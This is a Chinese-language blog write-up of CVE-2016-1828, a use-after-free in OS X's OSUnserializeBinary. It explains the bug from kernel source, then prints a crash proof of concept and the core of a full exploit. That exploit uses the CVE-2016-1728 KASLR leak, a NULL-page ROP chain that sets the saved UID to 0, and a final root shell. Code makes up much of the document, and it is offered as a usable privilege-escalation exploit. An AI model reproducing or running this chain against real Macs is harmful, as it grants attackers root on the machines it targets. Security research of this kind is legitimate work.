0x001 前言
接着上一篇文章,上文中已经把kernel_slide泄漏出来了,下面继续来分析CVE-2016-1828这个洞。
0x002 调试环境
虚拟机: OS X Yosemite 10.10.5 14F27
主机: macOS Mojave 10.14.2 18C54
0x003 内核源码分析
当用户应用程序与内核驱动程序进行通信时, 它通常希望传递结构化数据对象, 如字符串、数组和字典。为了解决这一问题,libkern定义了CoreFoundation对象相对应的容器和集合类作为传递给用户空间的API。下表中概述了这些类, 它们都继承自OSObject。
当一个CoreFoundation对象被发送到内核时, 它首先被IOCFSerialize
转换为二进制或xml表示形式。然后将序列化的数据复制到内核中, 并使用OSUnserializeXML
进行反序列化。如果提供的数据实际上是二进制编码, 则OSUnserializeXML
调用OSUnserializeBinary
。
OSUnserializeBinary
尝试对提供的数据进行解码重建原始对象。反序列化的对象通常是一个容器, 如OSDictionary其中包含多个条目。为了在集合中多次包含同一对象时最大限度地减小编码大小, 二进制编码格式支持按索引引用以前序列化的对象。因此, 解码逻辑将每个重建的对象存储在一个数组中, 以便以后索引可以引用它。
查看源码libkernc++OSSerializeBinary.cpp
,当索引在反序列化过程中引用某个条目时, 对象指针将在objsArray中查找, 存储在局部变量o中, 并引用retain
方法:
然后, o将该条目 o 插入到父集合中后, 将释放该条目:
然而,此策略不能确保安全, 因为在反序列化过程中, 可能会释放objsArray中的对象, 从而留下悬空的指针。举个栗子:
<dict> <!-- object 0 -->
<key>a</key> <!-- object 1 -->
<string>foo</string> <!-- object 2 -->
<key>a</key> <!-- object 3 -->
<string>bar</string> <!-- object 4 -->
<key>b</key> <!-- object 5 -->
<object>2</object> <!-- object 6 -->
</dict>
当对第二个a赋值反序列化时, 字符串bar栏将通过setObject
插入到字典中。由于与a关联的旧foo字符串正在被bar替换, 因此字典将在其上释放一个引用。foo插入objsArray
时, foo没有调用retain
方法, 因此foo唯一的引用来自字典本身。这将在objsArray[2]]中留下一个悬空的指向foo的指针。以后引用索引2处的对象时, 将在释放的foo对象上调用retain
方法。
为了利用此漏洞点, 我们需要控制已释放内存的内容, 从而当调用retain
方法时会使用我们控制的vtable指针。通过在字典中指定正在反序列化的元素, 我们可以轻松地控制对象的分配和释放。在这里,我们可以通过在字典中包含OSData对象来分配和填充我们控制的数据。
<dict> <!-- 0: dict -->
<key>a</key> <!-- 1: key "a" -->
<integer>10</integer> <!-- 2: allocate block1 -->
<key>b</key> <!-- 3: key "b" -->
<integer>20</integer> <!-- 4: allocate block2 -->
<key>a</key> <!-- 5: key "a" -->
<true/> <!-- 6: free block1; free list: block1 -->
<key>b</key> <!-- 7: key "b" -->
<true/> <!-- 8: free block2; free list: block2, block1 -->
<key>a</key> <!-- 9: key "a" -->
<data> vtable pointer </data> <!-- 10: OSData gets block2, data gets block1 -->
<key>b</key> <!-- 11: key "b" -->
<object>2</object> <!-- 12: block1->retain() -->
</dict>
来具体说一下以上过程走:
我们将创建一个包含a、b两个键的字典。首先, 我们将a、b键值设置成OSNumber
, 因为在64位OS X上, 它们的大小与OSData
足够接近, 可以共享同一个空闲链表。然后, 我们将a和b分配为true, 这将释放掉a、b键的OSNumber。此时, 堆空闲列表在头部包含b的OSNumber和a的OSNumber,OSNumber b --> OSNumber a
。通过在字典中插入OSData对象, 我们可以使OSData
容器使用b的OSNumber
以及OSData
的数据缓冲区来使用a的OSNumber
。 通过引用a键的原OSNumber
的索引导致在已释放的OSNumber
对象上调用retain
方法, 而该处是OSData
的数据缓冲区而且已经被我们用虚表指针填充, 所以最后会执行任意代码。
0x004 UAF: CVE-2016-1828
编译运行这段poc,系统会直接蹦掉
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#include <mach/mach.h>
#include <stdio.h>
int main()
{
uint32_t data[] = {
0x000000d3, /* magic */
0x81000010, /* 0: OSDictionary */
0x08000002, 0x00000061, /* 1: key "a" */
0x04000020, 0x00000000, 0x00000000, /* 2: 1[2: OSNumber] */
0x08000002, 0x00000062, /* 3: key "b" */
0x04000020, 0x00000000, 0x00000000, /* 4: 2[4: OSNumber] */
0x0c000001, /* 5: key "a" */
0x0b000001, /* 6: true; heap freelist: 1[2:] */
0x0c000003, /* 7: key "b" */
0x0b000001, /* 8: true; heap freelist: 2[4:] 1[2:] */
0x0c000001, /* 9: key "a" */
0x0a000028, /* 10: 2[10,4: OSData] => 1[2: contents] */
0x00000000, 0x00000000, /* vtable ptr */
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x0c000001, /* 11: key "b" */
0x8c000002, /* 12: 1[2: contents]->retain() */
};
mach_port_t master_port, iterator;
kern_return_t kr = IOMasterPort(MACH_PORT_NULL, &master_port);
if(kr != KERN_SUCCESS){
return 1;
}
kr = io_service_get_matching_services_bin(master_port, (char *)data, sizeof(data), &iterator);
}
调试器attach上去,发现执行到了一个错误的地址0x20
查看汇编,该处call了一个rax+0x20
的地址
而rax寄存器现在为0x0000000000000000
现在已经可以控制RIP跳转到NULL页
上去了,只要分配该处的存储空间,布置上我们提权的ROP即可
最后在NULL页
作ROP,将cr_svuid设置成0
,关于gadget的查找可以用librop
这份代码
完整的exp已上传到Github上,这里给出核心利用代码
//
// main.c
// CVE-2016-1728 info leak
// CVE-2016-1828 uaf
// Created by wooy0ung on 2018/12/27.
//
#include <stdio.h>
#include <unistd.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include "librop/librop.h"
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
.ifcr_count = 1,
.ifcr_buffer = buffer,
};
static uint64_t kernel_slide=0;
static int
is_kernel_pointer(uint64_t addr) {
return (0xffffff7f00000000 <= addr && addr < 0xffffff8100000000);
}
static int
is_kernel_slide(uint64_t slide) {
return ((slide & ~0x000000007fe00000) != 0);
}
int get_kaslr() {
uint64_t leak;
int sockfd = socket(AF_INET,SOCK_STREAM,0);
int err = ioctl(sockfd,SIOCIFGCLONERS,&ifcr);
printf("rn[>] Leak kernel_sliden");
leak = *(uint64_t *)(buffer+8);
if (!is_kernel_pointer(leak)) {
printf("t[-] error: leak 0x%016llxn", leak);
return -1;
}
kernel_slide = *(uint64_t *)(buffer+8) - 0xffffff800033487f; // dev 0xffffff80002ef3af
if (is_kernel_slide(kernel_slide)) {
printf("t[-] error: kernel_slide 0x%016llxn", kernel_slide);
return -1;
}
printf("t[+] kernel_slide: 0x%016llxn",kernel_slide);
return 0;
}
int build_rop() {
macho_map_t *map = map_file_with_path(KERNEL_PATH_ON_DISK);
SET_KERNEL_SLIDE(kernel_slide);
// Gadget
uint64_t xchg_esp_eax_pop_rsp, xchg_rax_rdi, set_svuid_0;
xchg_esp_eax_pop_rsp = XCHG_ESP_EAX_POP_RSP_INS(map);
xchg_rax_rdi = XCHG_RAX_RDI_INS(map);
set_svuid_0 = SET_SVUID_0_INS(map);
printf("rn[>] Find gadgetsn");
printf("t[+] XCHG_ESP_EAX_POP_RSP_INS: 0x%016llxn",xchg_esp_eax_pop_rsp);
printf("t[+] XCHG_RAX_RDI_INS: 0x%016llxn",xchg_rax_rdi);
printf("t[+] SET_SVUID_0_INS: 0x%016llxn",set_svuid_0);
// Symbol
uint64_t current_proc, proc_ucred, posix_cred_get, thread_exception_return;
current_proc = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));
proc_ucred = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));
posix_cred_get = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));
thread_exception_return = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));
printf("rn[>] Find symbolsn");
printf("t[+] _current_proc: 0x%016llxn",current_proc);
printf("t[+] _proc_ucred: 0x%016llxn",proc_ucred);
printf("t[+] _posix_cred_get: 0x%016llxn",posix_cred_get);
printf("t[+] _thread_exception_return: 0x%016llxn",thread_exception_return);
vm_address_t payload_addr = 0;
size_t size = 0x1000;
// In case we are re-executing, deallocate the NULL page.
vm_deallocate(mach_task_self(), payload_addr, size);
kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);
if (kr != KERN_SUCCESS) {
printf("t[-] error: could not allocate NULL page for payloadn");
return -1;
}
uint64_t * vtable = (uint64_t *)payload_addr;
uint64_t * rop_stack = ((uint64_t *)(payload_addr + size)) - 8;
// Virtual method 4 is called in the kernel with rax set to 0.
vtable[0] = (uint64_t)rop_stack; // *0 = rop_stack
vtable[4] = xchg_esp_eax_pop_rsp; // rsp = 0; rsp = *rsp; start rop
rop_stack[0] = current_proc; // rax = &proc
rop_stack[1] = xchg_rax_rdi; // rdi = &proc
rop_stack[2] = proc_ucred; // rax = &cred
rop_stack[3] = xchg_rax_rdi; // rdi = &cred
rop_stack[4] = posix_cred_get; // rax = &posix_cred
rop_stack[5] = xchg_rax_rdi; // rdi = &posix_cred
rop_stack[6] = set_svuid_0; // we are now setuid 0
rop_stack[7] = thread_exception_return; // stop rop
return 0;
}
int exec_rop() {
printf("rn[>] Execute ropn");
uint32_t data[] = {
0x000000d3, // magic
0x81000010, // 0: OSDictionary
0x08000002, 0x00000061, // 1: key "a"
0x04000020, 0x00000000, 0x00000000, // 2: 1[2: OSNumber]
0x08000002, 0x00000062, // 3: key "b"
0x04000020, 0x00000000, 0x00000000, // 4: 2[4: OSNumber]
0x0c000001, // 5: key "a"
0x0b000001, // 6: true ; heap freelist: 1[2:]
0x0c000003, // 7: key "b"
0x0b000001, // 8: true ; heap freelist: 2[4:] 1[2:]
0x0c000001, // 9: key "a"
0x0a000028, // 10: 2[10,4: OSData] => 1[2: contents]
0x00000000, 0x00000000, // vtable ptr
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x0c000001, // 11: key "b"
0x8c000002, // 12: 1[2: contents]->retain()
};
mach_port_t master_port, iterator;
kern_return_t kr = IOMasterPort(MACH_PORT_NULL, &master_port);
if (kr != KERN_SUCCESS) {
return -1;
}
kr = io_service_get_matching_services_bin(master_port, (char *)data, sizeof(data), &iterator);
seteuid(0);
setuid(0);
setgid(0);
if (kr == KERN_SUCCESS) {
IOObjectRelease(iterator);
}
if (getuid() != 0) {
return -1;
}
return 0;
}
int main(int argc, char * argv[]) {
int err;
sync();
err = get_kaslr();
if(err){
printf("[-] error: get_kaslrn");
return -1;
}
err = build_rop();
if(err){
printf("[-] error: build_ropn");
return -1;
}
err = exec_rop();
if(err){
printf("[-] error: exec_ropn");
return -1;
}
argv[0] = "/bin/sh";
execve(argv[0], argv, NULL);
return 0;
}
WIN~